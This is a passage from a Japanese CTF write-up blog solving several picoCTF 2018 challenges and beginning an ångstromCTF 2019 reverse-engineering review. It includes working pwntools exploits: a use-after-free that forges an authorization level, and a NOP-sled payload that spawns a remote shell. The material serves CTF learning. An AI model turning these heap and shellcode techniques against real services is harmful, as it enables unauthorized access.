        left = left[:-1] + right + ')'
    elif right_depth > left_depth:
        left = '(' + left + right[1:]
    else:
        left = left + right
    return left

def qa(question):
    members = question.split()
    left = members.pop(0)
    for m in members:
        if m == '+':
            continue
        else:
            left = calc(left, m)
    return left

# main
r = remote(host, port)
while True:
    question = r.recvline_contains(['???', 'picoCTF{']).decode()
    if 'picoCTF{' in question:
        print(question)
        break
    print('question: ' + question)
    answer = qa(question[:-6])
    print('answer: ' + answer)
    r.sendline(answer.encode())
$ python solve.py 
[+] Opening connection to 2018shell.picoctf.com on port 7866: Done
question: (()) + (()()) = ???
answer: (())(()())
question: ((())()) + () + () = ???
answer: ((())()()())
question: ((())()) + (()()()()()()()()) + (()()()()()()()()) + (()()) + (()()) = ???
answer: ((())()(()()()()()()()())(()()()()()()()())(()())(()()))
question: (()()()()()()()()) + (()(())) + ()()() + (()()()) + (()()) + (()(())) + (()()()) + (()()()(())()()) + (((()())()())()) + (()(())((()))(((())))((((()))))) = ???
answer: ((((()()()()()()()())()(())()()()(()()())(()()))(()(())(()()()))(()()()(())()())((()())()())())()(())((()))(((())))((((())))))
question: (()()())(())(()()()()()()()()) + ((()())()(())(()()()()()()()())) + ((()()()())()(((()()())()())()())) + (()(())()()()()(())) + ((()())()(()))((())()()()()) + ((()()())()(())(())) + (()()(())()()) + ((())(()()()()()()()())((()())()())()) + ((()()())(())())(()()()(())()()) + ((()(((()()())()())()()))((((()))))(((())))((()))(())()) + ((()()())()(())()()) + (((()())()(())()()())()(())((()))(((())))((((()))))) + ((()()(()))((())())((((()))))(((())))((()))(())()) + ((()()(())(()))((((()))))(((())))((()))(())()) + ((()()()()()()(())()())()(((()()())()())()())) + ((()()()()(())()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))) + ((()()()())(()()()()()()()())()()()(())()()) + (()(())()()()) + (((()())()(())()())()(())((()))(((())))((((()))))) + ((()()()()()()()()()()()())()(())((()))(((())))((((()))))) + ((((()())()())())((()(())((()))(((())))()()))()) + ((()()()())((()())()())()) + (((())((()())()())())()(((()()())()())()())) + ((()()(()))((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())) + ((()())(()()())((()())()())()) + (((()())()(()))(()()()(())()())((()(())((()))(((())))()()))()) + (()()()()()()((()(())((()))(((())))()()))()) + (((())()(()()()))((()())()())()) + (((()())((()())()())())()(())((()))(((())))((((()))))) + (((()())()(())()())((((()))))(((())))((()))(())()) + ((()()(((()()())()())()()))((((()))))(((())))((()))(())()) + (((())()()())()(())((()))(((())))((((()))))) + (((()()()()()()()()())()(((()()())()())()()))()(())((()))(((())))((((()))))) + (((())()()())((()())()())()) + (()()((((()))))(((())))((()))(())()) + ((()((()())()())())()(())((()))(((())))((((()))))) + ((()()()())()(())((()))(((())))((((()))))) + (((())()()())((()(())((()))(((())))()()))()) + ((())()()()()()()) + ((())()(((()()())()())()())) + (()()()()()()())(()()()()()()()()) + (((()())()(())()()())((()())()())()) + (((()())()(())(()()()))((()(())((()))(((())))()()))()) + ((()(())()())((((()))))(((())))((()))(())()) + ((()()()())(()()()()()()()())((((()))))(((())))((()))(())()) + ((()(())(()()()()()()()()))((((()))))(((())))((()))(())()) + ((()()((()())()())())()(())((()))(((())))((((()))))) + (()()()()()()((((()))))(((())))((()))(())()) + (()()(())()()()) + (()()()())(()()()()()()()()) = ???
answer: (((((()()())(())(()()()()()()()())(()())()(())(()()()()()()()()))(()()()())()(((()()())()())()())(()(())()()()()(()))((()())()(()))((())()()()())((()()())()(())(()))(()()(())()())((())(()()()()()()()())((()())()())())((()()())(())())(()()()(())()()))(()(((()()())()())()()))((((()))))(((())))((()))(())()((()()())()(())()()))(((()())()(())()()())()(())((()))(((())))((((())))))((()()(()))((())())((((()))))(((())))((()))(())())((()()(())(()))((((()))))(((())))((()))(())()((()()()()()()(())()())()(((()()())()())()())))(()()()()(())()())((()(())((()))(((())))()()))()(()(())((()))(((())))((((())))))((()()()())(()()()()()()()())()()()(())()())(()(())()()())(((()())()(())()())()(())((()))(((())))((((())))))((()()()()()()()()()()()())()(())((()))(((())))((((()))))))((((()())()())())((()(())((()))(((())))()()))()((()()()())((()())()())())(((())((()())()())())()(((()()())()())()())))((()()(()))((()(())((()))(((())))()()))()(((((()))))(((())))((()))(())())((()())(()()())((()())()())()))(((()())()(()))(()()()(())()())((()(())((()))(((())))()()))())(()()()()()()((()(())((()))(((())))()()))()(((())()(()()()))((()())()())())(((()())((()())()())())()(())((()))(((())))((((())))))(((()())()(())()())((((()))))(((())))((()))(())())((()()(((()()())()())()()))((((()))))(((())))((()))(())())(((())()()())()(())((()))(((())))((((())))))(((()()()()()()()()())()(((()()())()())()()))()(())((()))(((())))((((())))))(((())()()())((()())()())())(()()((((()))))(((())))((()))(())())((()((()())()())())()(())((()))(((())))((((())))))((()()()())()(())((()))(((())))((((()))))))(((())()()())((()(())((()))(((())))()()))()((())()()()()()())((())()(((()()())()())()()))(()()()()()()())(()()()()()()()())(((()())()(())()()())((()())()())()))(((()())()(())(()()()))((()(())((()))(((())))()()))()((()(())()())((((()))))(((())))((()))(())())((()()()())(()()()()()()()())((((()))))(((())))((()))(())())((()(())(()()()()()()()()))((((()))))(((())))((()))(())())((()()((()())()())())()(())((()))(((())))((((())))))(()()()()()()((((()))))(((())))((()))(())())(()()(())()()())(()()()())(()()()()()()()()))
Congratulations, here's your flag: picoCTF{5cr1pt1nG_l1k3_4_pRo_45ca3f85}
[*] Closed connection to 2018shell.picoctf.com port 7866

問題は毎回ランダムで変わるのでスクリプト化必須だった。あと、途中まで出された問題を入力して答えを出力するスクリプトで組んでいたんだけど、最後の問題がterminalに答えを入力しきれず、結局全自動スクリプトになった。
関数名とかセンスない感じになってしまって反省…。

[Forensics] LoadSomeBits (550pt)

Can you find the flag encoded inside this image? You can also find the file in /problems/loadsomebits_0_d87185d5ab62fa0048494157146e7b78 on the shell server.

Hints

Look through the Least Significant Bits for the image

If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different?

リンク先のファイルは pico2018-special-logo.bmp

f:id:kusuwada:20190522120150p:plain

$ file pico2018-special-logo.bmp 
pico2018-special-logo.bmp: PC bitmap, Windows 98/2000 and newer format, 1200 x 630 x 24

バイナリ解析ファイルで覗いてみるとこんな感じ。

f:id:kusuwada:20190522120247p:plain

おやおや、冒頭に怪しい 0,1 の羅列が…! そこの部分だけ2進数の配列として抜き出して、asciiに変換してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

bit_list = ['00000001', '01010000', '00000001', '01000100', '00010001', '01000000', '01010001', '01000101', '01010001', '00000000', '01010001', '00010001', '00000001', '00000001', '01000001', '01010100', '01010001', '01010000', '01010001', '01010001', '00000000', '01010000', '00000001', '01010000', '01000000', '01010000', '01010001', '01000001', '00000001', '00010101', '01010001', '01000100', '00010001', '00000101', '01000001', '00010101', '01010001', '01010001', '00000001', '00000100', '00000000', '01010000', '01010001', '00010101', '01010001', '01000101', '00000000', '01010000', '01010000', '01010001', '00000000', '01010001', '00010001', '01010001', '00000001', '00010101', '01010001', '01010000', '01010000', '01010000', '00010001', '01000001', '01010001', '01000101', '01000000', '01010000', '00010001', '01000001', '01000000', '01010000', '00010001', '01000000', '01010000', '01010001', '00000001', '01000101', '01000001', '00010001', '00000001', '00010101', '01010001', '01000000', '01000000', '01010000', '00010001', '01010001', '00000000', '01010001', '00010001', '00010101', '01010000', '01010001', '01010000', '01010001', '01010000', '01010000', '00000000', '01010001', '00010000', '01010001', '00010000', '01010001', '00000000', '01010000', '00010000', '01010100', '00010000', '01010000', '01010001', '01010101', '00010000']

ascii_list = []
for b in bit_list:
    ascii_list.append(chr(int(b,2)))
print(''.join(ascii_list))

実行結果

$ python solve.py 
PD@QEQQATQPQQPP@PQAQDAQQPQQEPPQQQQPPPAQE@PA@P@PQEAQ@@PQQPQPQPPQQQPTPQU

うむ…。ascii文字の範囲外の数値もあったみたいだし、なんか違うっぽいな?

Hintのとおり、今度はimageの最下位bitを抜き出してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

with open('pico2018-special-logo.bmp', 'rb') as f:
    data = f.read()

# extruct Least Significant Bits in image binary
lsb = ''
for d in data:
    lsb += str(d & 0x1)
    
print(lsb)

実行結果

01010000000000000000000000100000000100010001000000000001110000011010010110001101101111010000110101010001000110011110110111001101110100001100000111001000110011011001000101111101101001010011100101111101110100010010000011001101011111011011000011001100110100001101010111010001011111011100110011000101100111011011100011000101100110001100010110001100110100011011100101010001011111011000100011000101110100001101010101111100110111001101110011000000110101001101010011010000110001001110010011001101111101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(略)

変換前ののバイナリ列からもわかるように、最初の方だけ 1, 0 が入り混じっていますが、この後はずっと 0 ばかり、もしくは 1 ばかりのようです。

ここで、意味の有りそうな最初の方のを抜き出し、適当なところから切り出してascii変換してやります。どこからflagが始まるかわからないのでflagフォーマットが出てくるまでずらしながら試してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

bindata = '01010000000000000000000000100000000100010001000000000001110000011010010110001101101111010000110101010001000110011110110111001101110100001100000111001000110011011001000101111101101001010011100101111101110100010010000011001101011111011011000011001100110100001101010111010001011111011100110011000101100111011011100011000101100110001100010110001100110100011011100101010001011111011000100011000101110100001101010101111100110111001101110011000000110101001101010011010000110001001110010011001101111101000000000000'

slice_num = 0x8

for _ in range(slice_num):
    bindata = bindata[1:]
    flag = ''
    for i in range(len(bindata)//slice_num):
        a = bindata[i*slice_num : (i+1)*slice_num]
        flag += chr(int(a,2))
    if 'picoCTF{' in flag:
        break
print(flag)

実行結果

$ python solve.py
DpicoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_770554193}

ちょっとflagの前に D が入っちゃいましたが、flagが無事得られました!
今回の問題は、ヒントなしだと私は絶対解けない自信がある…!

[Binary] are you root? (550pt)

Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 45906. Source.

Hints

If only the program used calloc to zero out the memory..

入手できるのは下記のソースと実行ファイル。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

typedef enum auth_level {
  ANONYMOUS = 1,
  GUEST = 2,
  USER = 3,
  ADMIN = 4,
  ROOT = 5
} auth_level_t;
  
struct user {
  char *name;
  auth_level_t level;
};

void give_flag(){
  char flag[48];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  if ((fgets(flag, 48, f)) == NULL){
    puts("Couldn't read flag file.");
    exit(1);
  };
  
  puts(flag);
  fclose(f);
}

void menu(){
  puts("Available commands:");
  puts("\tshow - show your current user and authorization level");
  puts("\tlogin [name] - log in as [name]");
  puts("\tset-auth [level] - set your authorization level (must be below 5)");
  puts("\tget-flag - print the flag (requires authorization level 5)");
  puts("\treset - log out and reset authorization level");
  puts("\tquit - exit the program");
}

int main(int argc, char **argv){
  char buf[512];
  char *arg;
  uint32_t level;
  struct user *user;

  setbuf(stdout, NULL);

  menu();

  user = NULL;
  while(1){
    puts("\nEnter your command:");
    putchar('>'); putchar(' ');

    if(fgets(buf, 512, stdin) == NULL)
      break;

    if (!strncmp(buf, "show", 4)){
      if(user == NULL){
    puts("Not logged in.");
      }else{
    printf("Logged in as %s [%u]\n", user->name, user->level);
      }

    }else if (!strncmp(buf, "login", 5)){
      if (user != NULL){
    puts("Already logged in. Reset first.");
    continue;
      }

      arg = strtok(&buf[6], "\n");
      if (arg == NULL){
    puts("Invalid command");
    continue;
      }

      user = (struct user *)malloc(sizeof(struct user));
      if (user == NULL) {
    puts("malloc() returned NULL. Out of Memory\n");
    exit(-1);
      }
      user->name = strdup(arg);
      printf("Logged in as \"%s\"\n", arg);

    }else if(!strncmp(buf, "set-auth", 8)){
      if(user == NULL){
    puts("Login first.");
    continue;
      }

      arg = strtok(&buf[9], "\n");
      if (arg == NULL){
    puts("Invalid command");
    continue;
      }

      level = strtoul(arg, NULL, 10);

      if (level >= 5){
    puts("Can only set authorization level below 5");
    continue;
      }

      user->level = level;
      printf("Set authorization level to \"%u\"\n", level);

    }else if(!strncmp(buf, "get-flag", 8)){
      if (user == NULL){
    puts("Login first!");
    continue;
      }

      if (user->level != 5){
    puts("Must have authorization level 5.");
    continue;
      }

      give_flag();
    }else if(!strncmp(buf, "reset", 5)){
      if (user == NULL){
    puts("Not logged in!");
    continue;
      }

      free(user->name);
      user = NULL;

      puts("Logged out!");
    }else if(!strncmp(buf, "quit", 4)){
      return 0;
    }else{
      puts("Invalid option");
      menu();
    }
  }
}

ソース長いですね。それぞれのmenuに応じた処理が if-else でつらつらと書いてあります。

ちょっと遊んでみた感じ、まずは login {username} でログインし、set-auth で認証レベルの設定をします。認証レベルは初期状態で0、4まで set-auth で設定できます。 get-flag コマンドでflagが貰えそうですが、menuから順当に行くと認証レベルが5でないと give_flag()関数がcallされません。

パッと考えついたのは下記。

  1. 認証レベルを5に書き換える方法を探す
  2. give_flag()関数を無理やり呼び出す
  3. shellを取る

使えそうな脆弱ポイントを調べてみます。

これまでよくBinary問題で使われていた、BufferOverflowの脆弱性は今回無さそう(サイズ指定の gets 関数でユーザー入力させている)です。また、これまたよく出てきた Format String Attackは、printf関数こそ使っていますが該当箇所が無さそうです。

ここでヒントをよく見てみます。

If only the program used calloc to zero out the memory..

ふむ?何のことかピンときていませんが、ソース中でallocしている箇所を調べます。
新規ログイン時に user を作成する際、下記のコードで alloc 関数を使っています。

user = (struct user *)malloc(sizeof(struct user));
...
user->name = strdup(arg);

strdup関数は alloc そのものではありませんが、中でmallocが使われています。
Man page of STRDUP

strdup() 関数は、文字列 sの複製である 新しい文字列へのポインターを返す。 新しい文字列のためのメモリーmalloc(3) で得ている。 そして、 free(3) で解放することができる。

また、ヒントの文言からmemory関連が怪しそうなので、この領域を操作するところに注目します。と、resetというmenuがあり、選択すると下記コードで領域の開放(=Logout)を行っています。

free(user->name);
user = NULL;

この user に着目すると、今回キーになりそうな認証レベル (authorization level) は user structのメンバとして定義されています。ということは、作戦的には "1.認証レベルを5に書き換える方法を探す" が妥当そう!

ざっと調べたところ、下記の攻撃手法が参考になりました。

ここでは Use After Free (UAF) として紹介されています。

malloc関数が、freeされた場合に開放されたheap領域を、再度allocateされた時に再利用してしまうという仕様をついた攻撃のようです。
今回の場合だと、一度Loginしてuserオブジェクトを作成し、そのあとresetしてuserを解放、再度Loginしてuserオブジェクト2を作成すると、解放したuser->nameと同じ領域を使うようになります。
ここで、userオブジェクトが user->name のポインタと認証レベルを保持していること、Login処理の中では認証レベル設定されない(初期化されない)ことを考えると、一度目のuserオブジェクト作成時に ポインタ分の領域+(\x05)user->nameを設定しておくと、次のuser作成時に\x05user->level に格納されることを期待できそうです。

ここで期待するメモリの動きなどは、下記のwrite-upの解説がかなりわかりやすかったです。
CTFs/are you root.md at master · Dvd848/CTFs · GitHub

また、ヒープについて初心者過ぎたので、わかりやすいと評判そうだった下記の動画も参考にしました。わかりやすかった。

この3:30あたりに出てくる「後から重要になります。テストに出まーす!」の項目が今回関係が深い。
次にmallocした時に使う領域の捜査を(free listというので持っている)、freeしたばかりの領域が優先されるようにポインタの差し替えを行うらしい。
スライドのみはこちら。 Glibc malloc internal

以上を踏まえた攻撃コードがこちら。今回は最初のLogin時のusernameは b'\x05'*9 としましたが、b'a'*8 + b'\x05' 等、9バイト目が\x05であれば、最初8バイトは何でも構わないです。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 45906

e = ELF('./auth')

r = remote(host, port)
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'login ' + b'\x05'*9)
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'reset')
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'login hoge')
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'show')
print(r.recvuntil(b'Enter your command:\n> '))
r.sendline(b'get-flag')
print(r.recv())

実行結果

$ python solve.py 
[*] '/.../are_you_root?/auth'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to 2018shell.picoctf.com on port 45906: Done
b'Available commands:\n\tshow - show your current user and authorization level\n\tlogin [name] - log in as [name]\n\tset-auth [level] - set your authorization level (must be below 5)\n\tget-flag - print the flag (requires authorization level 5)\n\treset - log out and reset authorization level\n\tquit - exit the program\n\nEnter your command:\n> '
b'Logged in as "\x05\x05\x05\x05\x05\x05\x05\x05\x05"\n\nEnter your command:\n> '
b'Logged out!\n\nEnter your command:\n> '
b'Logged in as "hoge"\n\nEnter your command:\n> '
b'Logged in as hoge [5]\n\nEnter your command:\n> '
b'picoCTF{m3sS1nG_w1tH_tH3_h43p_3dc31505}\n'
[*] Closed connection to 2018shell.picoctf.com port 45906

[Reversi] assembly-4 (550pt)

Can you find the flag using the following assembly source? WARNING: It is VERY long...

Hints

Hmm.. There must be an easier way than reversing the whole thing right?

入手できるのは、ソースコード comp.nasm のみ。
問題の警告やヒントを見る限り覚悟していたけど、開いてみたらアセンブリ 1215 行…!無理無理!
そしてソースしか配布されていないので、このままでは実行もできません。

他の手段として思いつくのは、アセンブリコンパイルして実行くらい。調べてみると、nasm というのはNetwide Assemblerの略であり、nasmというコンパイラを使ってコンパイルするらしい。

アセンブリ言語をコンパイル・実行してみる - 拾い物のコンパス

NASMはNetwide Assemblerの略であり、nasmというコンパイラを使ってコンパイルする。 NASM自体は公式サイトからダウンロードするか各ディストリのレポジトリからインストールできる。Arch Linuxでは

$ pacman -S nasm

でインストールできる。

ということで、このサイトに従ってコンパイル・実行してみる。

ラッキーなことに、kali-linux には nasm が初期状態で入っていた。

$ nasm --version
NASM version 2.14

コンパイルに当たっては、ちょっと古い(10年前!)の記事ですが、書きを参考にさせていただきました。

Cとアセンブラを組み合わせてコンパイルする - 【はてな】ガットポンポコ

更に、64bit版 kali-linux で 32bit版のコンパイルをしようと頑張ってみましたが詰まったので、手っ取り早く32bit版の kali-linux を入れてそっちでコンパイル & 実行しちゃいました。

# nasm -f elf32 -o comp.o comp.nasm 
# gcc -o comp comp.o
# ./comp
picoCTF{1_h0p3_y0u_c0mP1l3d_tH15_24186504403

ちなみに、これフラグの最後に } がありませんが、末尾の3}に変えるとflagになるようです。
これについては piazza に Note がありました。

Piazza • Ask. Answer. Explore. Whenever.

If your flag does not work, EITHER replace the trailing '3's at the end with a '}' OR change '2390040222' to '2350040222' and change '70u' to 'y0u'

より詳細なNASMについての解説はGASとの比較記事が IBM Developer にあります。
Linux のアセンブラー: GAS と NASM を比較する

[Binary] gps (550pt)

You got really lost in the wilderness, with nothing but your trusty gps. Can you find your way back to a shell and get the flag? Connect with nc 2018shell.picoctf.com 58896. (Source).

Hints

Can you make your shellcode randomization-resistant?

配布されるのは実行ファイルとソースコード

$ file gps
gps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0d1026a1f6487b2456984a46cd9cb7532f2241dc, not stripped
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define GPS_ACCURACY 1337

typedef void (fn_t)(void);

void initialize() {
    printf("GPS Initializing");
    for (int i = 0; i < 10; ++i) {
        usleep(300000);
        printf(".");
    }
    printf("Done\n");
}

void acquire_satellites() {
    printf("Acquiring satellites.");
    for (int i = 0; i < 3; ++i) {
        printf("Satellite %d", i);
        for (int j = 0; j < rand() % 10; ++j) {
            usleep(133700);
            printf(".");
        }
        if (i != 3) {
            printf("Done\n");
        } else {
            printf("Weak signal.\n");
        }
    }

    printf("\nGPS Initialized.\n");
    printf("Warning: Weak signal causing low measurement accuracy\n\n");
}

void *query_position() {
  char stk;
  int offset = rand() % GPS_ACCURACY - (GPS_ACCURACY / 2);
  void *ret = &stk + offset;
  return ret;
}


int main() {
    setbuf(stdout, NULL);

    char buffer[0x1000];
    srand((unsigned) (uintptr_t) buffer);

    initialize();
    acquire_satellites();

    printf("We need to access flag.txt.\nCurrent position: %p\n", query_position());

    printf("What's your plan?\n> ");
    fgets(buffer, sizeof(buffer), stdin);

    fn_t *location;

    printf("Where do we start?\n> ");
    scanf("%p", (void**) &location);

    location();
    return 0;
}

ソースの方もまぁまぁの長さがあります。

手始めに、下記のコードで、実行ファイルの詳細を確認しておきます。

from pwn import *
e = ELF('gps')

実行結果

$ python solve.py 
(略)
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE

amd64アーキテクチャ。PIE無し。NXはdisabled。

さて、問題文からして、shellを取ってflagを表示させるのがGoalのよう。
ソースを見たところ、buffer に任意の文字列を入力できること、実行するアドレス(*location)を指定できることがわかります。

これは埋め込んだコードを実行させるやつ、shellcodeっぽい。Hintにもそう書いてあります。そういえば、似たような問題が 200点の [Binary] shellcode にありました。
picoCTF2018 200pt問題のwrite-up - 好奇心の足跡

前回と明らかに違うところは、bufferに埋め込んだ攻撃コードをプログラムが勝手に実行してくれないこと。こちらから実行するアドレスを指定するようになっています。ヒントとして Current position というのが返ってきますが、攻撃コードの開始アドレスではなく、ある程度ランダムなアドレスが返ってくるようです。
具体的には query_posiution()関数内で確保した char stk のアドレス + offset。offsetに関してはランダム関数が使われていますが、-(GPS_ACCURACY / 2) ~ (GPS_ACCURACY / 2) の範囲であることがわかります。
ということは、stkのアドレスを p とすると、

p-(GPS_ACCURACY/2) ~ p+(GPS_ACCURACY/2)

の範囲で Current position が返ってくるようです。

今回のように、攻撃コードがどこから始まるか不確定な場合、NOP slide というのが使えるそうです。ヒントの randomization-resistant に強い攻撃と言えます。こちらも調べてみます。

1つ目のwikipediaを読んだだけでは私にはよくわからなかったので探してみたら、2つ目のオライリーの記事に行き当たりました。NOP slide は NOP sled, NOP ramp とも言われるそうなので、同じことを指していると思われます。

どこから shellcode が実行されるか不確定な場合、shellcodeの頭に nop 命令をだーーーーっと入れておく作戦。これによって、nopのどこかから実行されれば、実行命令は nop, nop, nop... を繰り返して、最終的に目的のshellcodeが実行されます。これが nop slide。
ズバリの解説が見つけられなかったので、もし良い資料があったら教えてください。。。

作戦としてはこんな感じ

  • buffer に 攻撃用 shellcode を仕込む
  • 上記のshellcodeは、攻撃コマンドの前を nop で埋めておき、 nop コマンドのどこかに着弾すれば攻撃コードが実行されるようにする
  • 手堅い開始アドレスを計算して入力

ここで問題の開始アドレスですが「数撃ちゃ当たる」でよければ、教えてくれる Current position をそのまま入れれば良さそう。
より真面目にやる場合、shellcodeを仕込むためのbufferの大きさは 0x1000 = 4096。一方、与えられるアドレスの振れ幅は 1337 (-668 ~ 668) のため、返ってきたアドレスが一番小さい p-(GPS_ACCURACY/2) だった場合を想定してアドレスを指定した場合、最悪 p+(GPS_ACCURACY/2) が返ってきていたとしても、shellcodeの途中に着弾する心配はなさそうです。(nop slide部分に着弾する)

shellを取るための shellcode、前回は shell-storm | Shellcodes Database で探しましたが、今回は python3-pwntools の機能で組み立てました。
アーキテクチャ毎に用意されており、今回のAMD64用には下記のモジュールが使用できます。

pwnlib.shellcraft.amd64 — Shellcode for AMD64 — pwntools 2.2.1 documentation

こんな便利なツールがあったんですねー。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '2018shell.picoctf.com'
port = 58896
GPS_ACCURACY = 1337

context.binary = './gps'
nop = asm(shellcraft.amd64.nop())

r = remote(host, port)
res = r.recvuntil(b"What's your plan?\n> ")
print(res)
query_position = re.search(b'Current position: (.*)', res).group(1)
print(b'current addr: ' + query_position)

shellcode = asm(shellcraft.amd64.linux.sh())
payload = nop*(0x1000-1-len(shellcode)) + shellcode
r.sendline(payload)

attack_addr = int(query_position, 16) + (GPS_ACCURACY//2)
print('attack addr: 0x' + format(attack_addr, 'x'))
print(r.recvuntil(b"Where do we start?\n> "))
r.sendline(format(attack_addr, 'x'))
r.interactive()

実行結果

# python solve.py 
[*] '/root/ctf/picoCTF2018/gps'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE
[+] Opening connection to 2018shell.picoctf.com on port 58896: Done
b"GPS Initializing..........Done\nAcquiring satellites.Satellite 0...Done\nSatellite 1.....Done\nSatellite 2..Done\n\nGPS Initialized.\nWarning: Weak signal causing low measurement accuracy\n\nWe need to access flag.txt.\nCurrent position: 0x7ffcc5f7e50c\nWhat's your plan?\n> "
b'current addr: 0x7ffcc5f7e50c'
attack addr: 0x7ffcc5f7e7a8
b'Where do we start?\n> '
[*] Switching to interactive mode
$ ls
flag.txt
gps
gps.c
xinet_startup.sh
$ cat flag.txt
picoCTF{s4v3_y0urs3lf_w1th_a_sl3d_0f_n0ps_oigotcln}

ångstromCTF 2019 復習

下記記事でwrite-upを書いた ångstromCTF 2019 ですが、手を付けたけど解けなかった問題が多かったので復習してみました。

kusuwada.hatenablog.com

他の方のwrite-upを見ながら復習した内容の備忘録です。
疑問が解消していない部分がある & 間違ってる部分もありそうなので、コメント大歓迎です。

[Reverse] High Quality Checks (110pt)

After two break-ins to his shell server, kmh got super paranoid about a third! He's so paranoid that he abandoned the traditional password storage method and came up with this monstrosity! I reckon he used the flag as the password, can you find it?

配布された実行ファイルの動作を確認します。

$ ./high_quality_checks 
Enter your input:
flag
Flag is too short.

inputの長さチェックをしているらしい。

$ ./high_quality_checks 
Enter your input:
actf{aaaaaaaaaaaaaaaaaaaaaaa|
That's not the flag.

ということで、正しいflagを入力させるっぽい。
今回もradare2でアセンブラを見てみます。main関数より抜粋。

|           0x00400a9d      e84efaffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x00400aa2      4883f812       cmp rax, 0x12               ; 18

inputは18文字以上必要なようです。
文字数クリアの後、文字列比較は sym.check 関数で行われているようです。

/ (fcn) sym.check 273
|   sym.check (int arg1);
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg1 @ rdi
|           ; CALL XREF from main (0x400ac2)
|           0x0040094a      55             push rbp
|           0x0040094b      4889e5         mov rbp, rsp
|           0x0040094e      4883ec08       sub rsp, 8
|           0x00400952      48897df8       mov qword [local_8h], rdi   ; arg1
|           0x00400956      488b45f8       mov rax, qword [local_8h]
|           0x0040095a      4883c00c       add rax, 0xc
|           0x0040095e      4889c7         mov rdi, rax
|           0x00400961      e87fffffff     call sym.d
|           0x00400966      85c0           test eax, eax
|       ,=< 0x00400968      0f84e6000000   je 0x400a54
|       |   0x0040096e      488b45f8       mov rax, qword [local_8h]
|       |   0x00400972      0fb600         movzx eax, byte [rax]
|       |   0x00400975      0fbec0         movsx eax, al
|       |   0x00400978      89c7           mov edi, eax
|       |   0x0040097a      e8d4fcffff     call sym.v
|       |   0x0040097f      85c0           test eax, eax
|      ,==< 0x00400981      0f84cd000000   je 0x400a54
|      ||   0x00400987      488b45f8       mov rax, qword [local_8h]
|      ||   0x0040098b      4883c011       add rax, 0x11
|      ||   0x0040098f      0fb600         movzx eax, byte [rax]
|      ||   0x00400992      0fbed0         movsx edx, al
|      ||   0x00400995      488b45f8       mov rax, qword [local_8h]
|      ||   0x00400999      4883c010       add rax, 0x10
|      ||   0x0040099d      0fb600         movzx eax, byte [rax]
|      ||   0x004009a0      0fbec0         movsx eax, al
|      ||   0x004009a3      89d6           mov esi, edx
|      ||   0x004009a5      89c7           mov edi, eax
|      ||   0x004009a7      e854ffffff     call sym.u
|      ||   0x004009ac      85c0           test eax, eax
|     ,===< 0x004009ae      0f84a0000000   je 0x400a54
|     |||   0x004009b4      488b45f8       mov rax, qword [local_8h]
|     |||   0x004009b8      4883c005       add rax, 5
|     |||   0x004009bc      0fb600         movzx eax, byte [rax]
|     |||   0x004009bf      0fbec0         movsx eax, al
|     |||   0x004009c2      89c7           mov edi, eax
|     |||   0x004009c4      e87ffdffff     call sym.k
|     |||   0x004009c9      85c0           test eax, eax
|    ,====< 0x004009cb      0f8583000000   jne 0x400a54
|    ||||   0x004009d1      488b45f8       mov rax, qword [local_8h]
|    ||||   0x004009d5      4883c009       add rax, 9
|    ||||   0x004009d9      0fb600         movzx eax, byte [rax]
|    ||||   0x004009dc      0fbec0         movsx eax, al
|    ||||   0x004009df      89c7           mov edi, eax
|    ||||   0x004009e1      e862fdffff     call sym.k
|    ||||   0x004009e6      85c0           test eax, eax
|   ,=====< 0x004009e8      756a           jne 0x400a54
|   |||||   0x004009ea      488b45f8       mov rax, qword [local_8h]
|   |||||   0x004009ee      4883c001       add rax, 1
|   |||||   0x004009f2      4889c7         mov rdi, rax
|   |||||   0x004009f5      e88afcffff     call sym.w
|   |||||   0x004009fa      85c0           test eax, eax
|  ,======< 0x004009fc      7456           je 0x400a54
|  ||||||   0x004009fe      488b45f8       mov rax, qword [local_8h]
|  ||||||   0x00400a02      be12000000     mov esi, 0x12               ; 18
|  ||||||   0x00400a07      4889c7         mov rdi, rax
|  ||||||   0x00400a0a      e8e7fcffff     call sym.b
|  ||||||   0x00400a0f      85c0           test eax, eax
| ,=======< 0x00400a11      7441           je 0x400a54
| |||||||   0x00400a13      488b45f8       mov rax, qword [local_8h]
| |||||||   0x00400a17      be04000000     mov esi, 4
| |||||||   0x00400a1c      4889c7         mov rdi, rax
| |||||||   0x00400a1f      e8d2fcffff     call sym.b
